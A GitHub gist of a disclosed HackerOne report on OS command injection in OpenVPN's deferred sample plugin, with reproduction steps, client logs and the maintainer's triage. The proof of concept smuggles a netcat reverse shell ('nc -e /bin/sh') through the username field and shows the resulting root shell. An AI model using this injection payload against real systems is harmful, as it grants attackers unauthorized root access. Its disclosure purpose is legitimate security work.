Skip to content

Instantly share code, notes, and snippets.

@oxr463

oxr463/README.md

Last active Aug 28, 2020
Embed
What would you like to do?
OpenVPN Deferred Sample Plugin Remote Code Execution
---
Title: OpenVPN Deferred Sample Plugin Remote Code Execution (RCE)
Scope: https://github.com/OpenVPN/openvpn
Weakness: OS Command Injection
Severity: Critical (9.9)
Link: https://hackerone.com/reports/612207
Date: 2019-06-13 16:33:43 +0000
By: @oxr463
---

Details:

Summary:

A malicious user can compromise a box and run remote code, leading to the creation of a root shell. This particular scenario requires that the server be running the sample plugin as-is, and also requires that the server's ca.crt be in the possession of the attacker. However, user credentials are not required, as the code will execute for any unauthenticated user.

Steps To Reproduce:

Note: Ubuntu 14.04.02 LTS (Bionic Beaver) was used for both the server and the client

OpenVPN Server

  1. Download and compile sample plugin following the steps outlined in the README.

Note: At the time of writing, the master branch was at commit bebd25a0e3a2aba0b1f98463a87b24db6c419a66.

# Fetching the source
git clone https://github.com/OpenVPN/openvpn.git ~/openvpn

# Compiling the sample plugin
cd ~/openvpn/sample/sample-plugins/defer
./build simple
simple.c: In function 'auth_user_pass_verify':
simple.c:200:13: warning: ignoring return value of 'system', declared with attribute warn_unused_result [-Wunused-result]
             system(buf);
             ^~~~~~~~~~~
simple.c: In function 'tls_final':
simple.c:230:17: warning: ignoring return value of 'system', declared with attribute warn_unused_result [-Wunused-result]
                 system(buf);
                 ^~~~~~~~~~~

# Installing the plugin on Debian-based systems
cp simple.so /usr/lib/x86_64-linux-gnu/openvpn/plugins/

# Copying example server configuration
cp ~/openvpn/sample/sample-config-files/server.conf /etc/openvpn/
  1. In /etc/openvpn/server.conf, add the following options:
setenv test_deferred_auth 20
setenv test_packet_filter 10
plugin /usr/lib/x86_64-linux-gnu/openvpn/plugins/simple.so

Note: Slightly modified the plugin path for Debian-based systems.

OpenVPN Client

# Fetching the source
git clone https://github.com/OpenVPN/openvpn.git ~/openvpn

# Copying example client configuration
cp ~/openvpn/sample/sample-config-files/client.conf /etc/openvpn/

Note: In this particular setup, the client still needs a copy of the ca.crt from the OpenVPN server.

Supporting Material/References:

OpenVPN Client (Attacker)

# Setting up a listener on the client
nc -nlvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
# Connecting to the OpenVPN server from the client
openvpn --config client.conf 
Thu Jun 13 14:19:58 2019 OpenVPN 2.4.4 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [PKCS11] [MH/PKTINFO] [AEAD] built on Jan  9 2019
Thu Jun 13 14:19:58 2019 library versions: OpenSSL 1.1.1  11 Sep 2018, LZO 2.08
Enter Auth Username:username; nc -e /bin/sh 192.168.88.128 4444; hello
Enter Auth Password:
Thu Jun 13 14:46:49 2019 TCP/UDP: Preserving recently used remote address: [AF_INET]192.168.88.130:1194
Thu Jun 13 14:46:49 2019 Socket Buffers: R=[212992->212992] S=[212992->212992]
Thu Jun 13 14:46:49 2019 UDP link local: (not bound)
Thu Jun 13 14:46:49 2019 UDP link remote: [AF_INET]192.168.88.130:1194
Thu Jun 13 14:46:49 2019 TLS: Initial packet from [AF_INET]192.168.88.130:1194, sid=c1990a6b ffd54a1a
Thu Jun 13 14:46:49 2019 VERIFY OK: depth=1, C=US, ST=CA, L=SanFrancisco, O=Fort-Funston, OU=MyOrganizationalUnit, CN=Fort-Funston CA, name=EasyRSA, emailAddress=me@myhost.mydomain
Thu Jun 13 14:46:49 2019 VERIFY KU OK
Thu Jun 13 14:46:49 2019 Validating certificate extended key usage
Thu Jun 13 14:46:49 2019 ++ Certificate has EKU (str) TLS Web Server Authentication, expects TLS Web Server Authentication
Thu Jun 13 14:46:49 2019 VERIFY EKU OK
Thu Jun 13 14:46:49 2019 VERIFY OK: depth=0, C=US, ST=CA, L=SanFrancisco, O=Fort-Funston, OU=MyOrganizationalUnit, CN=server, name=EasyRSA, emailAddress=me@myhost.mydomain
Thu Jun 13 14:46:49 2019 Control Channel: TLSv1.3, cipher TLSv1.3 TLS_AES_256_GCM_SHA384, 2048 bit RSA
Thu Jun 13 14:46:49 2019 [server] Peer Connection Initiated with [AF_INET]192.168.88.130:1194
Thu Jun 13 14:46:50 2019 SENT CONTROL [server]: 'PUSH_REQUEST' (status=1)
Thu Jun 13 14:46:55 2019 SENT CONTROL [server]: 'PUSH_REQUEST' (status=1)
Thu Jun 13 14:47:01 2019 SENT CONTROL [server]: 'PUSH_REQUEST' (status=1)
Thu Jun 13 14:47:06 2019 SENT CONTROL [server]: 'PUSH_REQUEST' (status=1)
Thu Jun 13 14:47:11 2019 SENT CONTROL [server]: 'PUSH_REQUEST' (status=1)
Thu Jun 13 14:47:11 2019 PUSH: Received control message: 'PUSH_REPLY,redirect-gateway def1,dhcp-option DNS 208.67.220.220,dhcp-option DNS 208.67.222.222,route 10.8.0.1,topology net30,ping 10,ping-restart 120,ifconfig 10.8.0.70 10.8.0.69,peer-id 1,cipher AES-256-GCM'
Thu Jun 13 14:47:11 2019 OPTIONS IMPORT: timers and/or timeouts modified
Thu Jun 13 14:47:11 2019 OPTIONS IMPORT: --ifconfig/up options modified
Thu Jun 13 14:47:11 2019 OPTIONS IMPORT: route options modified
Thu Jun 13 14:47:11 2019 OPTIONS IMPORT: --ip-win32 and/or --dhcp-option options modified
Thu Jun 13 14:47:11 2019 OPTIONS IMPORT: peer-id set
Thu Jun 13 14:47:11 2019 OPTIONS IMPORT: adjusting link_mtu to 1625
Thu Jun 13 14:47:11 2019 OPTIONS IMPORT: data channel crypto options modified
Thu Jun 13 14:47:11 2019 Data Channel: using negotiated cipher 'AES-256-GCM'
Thu Jun 13 14:47:11 2019 Outgoing Data Channel: Cipher 'AES-256-GCM' initialized with 256 bit key
Thu Jun 13 14:47:11 2019 Incoming Data Channel: Cipher 'AES-256-GCM' initialized with 256 bit key
Thu Jun 13 14:47:11 2019 ROUTE_GATEWAY 172.17.0.1/255.255.0.0 IFACE=eth0 HWADDR=02:42:ac:11:00:03
Thu Jun 13 14:47:11 2019 TUN/TAP device tun0 opened
Thu Jun 13 14:47:11 2019 TUN/TAP TX queue length set to 100
Thu Jun 13 14:47:11 2019 do_ifconfig, tt->did_ifconfig_ipv6_setup=0
Thu Jun 13 14:47:11 2019 /sbin/ip link set dev tun0 up mtu 1500
Thu Jun 13 14:47:11 2019 /sbin/ip addr add dev tun0 local 10.8.0.70 peer 10.8.0.69
Thu Jun 13 14:47:11 2019 /sbin/ip route add 192.168.88.130/32 via 172.17.0.1
Thu Jun 13 14:47:11 2019 /sbin/ip route add 0.0.0.0/1 via 10.8.0.69
Thu Jun 13 14:47:11 2019 /sbin/ip route add 128.0.0.0/1 via 10.8.0.69
Thu Jun 13 14:47:11 2019 /sbin/ip route add 10.8.0.1/32 via 10.8.0.69
Thu Jun 13 14:47:11 2019 Initialization Sequence Completed
^CThu Jun 13 14:53:46 2019 event_wait : Interrupted system call (code=4)
Thu Jun 13 14:53:46 2019 /sbin/ip route del 10.8.0.1/32
Thu Jun 13 14:53:46 2019 /sbin/ip route del 192.168.88.130/32
Thu Jun 13 14:53:46 2019 /sbin/ip route del 0.0.0.0/1
Thu Jun 13 14:53:46 2019 /sbin/ip route del 128.0.0.0/1
Thu Jun 13 14:53:46 2019 Closing TUN/TAP interface
Thu Jun 13 14:53:46 2019 /sbin/ip addr del dev tun0 local 10.8.0.70 peer 10.8.0.69
Thu Jun 13 14:53:46 2019 SIGINT[hard,] received, process exiting
# Response from the OpenVPN server on the client
Connection from 192.168.88.130 50814 received!
whoami
root
^C

Note: Password entered was just a dummy value of '123'.

Source: https://github.com/OpenVPN/openvpn/blob/master/sample/sample-plugins/defer/simple.c

Impact

A malicious user can compromise a box and run remote code, leading to the creation of a root shell.

Timeline: 2019-06-13 16:42:52 +0000: @oxr463 (comment) My report is reproducible; I have included all configs for both the server and the client below. The impact is also correct, as I was able to open a root shell on the remote server. Finally, even though the vulnerability found is in the sample plugin, it is still apart of the openvpn repository.

Also, I tried sending an encryped email to security@openvpn.net, but apparently the key provided expired last year.

gpg -vv --output issue.gpg --encrypt --sign --recipient security@openvpn.net deferred_rce.md
gpg: using pgp trust model
gpg: key 0x5D804A8DCFE9DC63: accepted as trusted key
gpg: Note: signature key 0xD72AF3448CC2B034 expired 2018-03-06 07:17:50 -0500 EST
gpg: Note: signature key 0xD72AF3448CC2B034 expired 2018-03-06 07:17:50 -0500 EST
gpg: error retrieving 'security@openvpn.net' via Local: Unusable public key
gpg: error retrieving 'security@openvpn.net' via WKD: General error
gpg: security@openvpn.net: skipped: General error
gpg: deferred_rce.md: sign+encrypt failed: General error

gpg --edit-key 0x12F5F7B42F2B01E7
gpg (GnuPG) 2.2.16; Copyright (C) 2019 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.


pub  rsa4096/0x12F5F7B42F2B01E7
     created: 2017-02-09  expires: 2027-02-07  usage: SC
     trust: marginal      validity: unknown
sub  rsa4096/0xF80E8008F6D9F8D7
     created: 2017-02-09  expired: 2018-03-06  usage: E
sub  rsa4096/0xD72AF3448CC2B034
     created: 2017-02-09  expired: 2018-03-06  usage: S
[ unknown] (1). OpenVPN - Security Mailing List <security@openvpn.net>

2019-06-14 18:10:09 +0000: @cron2 (comment) GPG has issues importing keys with new subkeys - you need to remove the key from your keyring and re-import it. That should get you non-expired subkeys.

Anyway, thanks for the report. This indeed is a very silly and dangerous bug, lack of input sanitation and passing network data to system(). Now, sample-plugins are not supposed to be used "as is" in production setups, but then, we ship it and it's an "this is how you do plugins" sample code - it really should not be a "this is how you code insecure plugins!" sample.


2019-06-14 18:15:41 +0000: @cron2 (bug triaged) replace system() calls with fork(), sleep(), open/write/close file sequence.


2019-06-14 18:57:49 +0000: @oxr463 (comment) Thanks, I sent a message on the mailing list about the security.key.asc file uploaded here, and on the OpenVPN Contact page, but I did manage to pull the new subkeys from keyserver.ubuntu.com.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.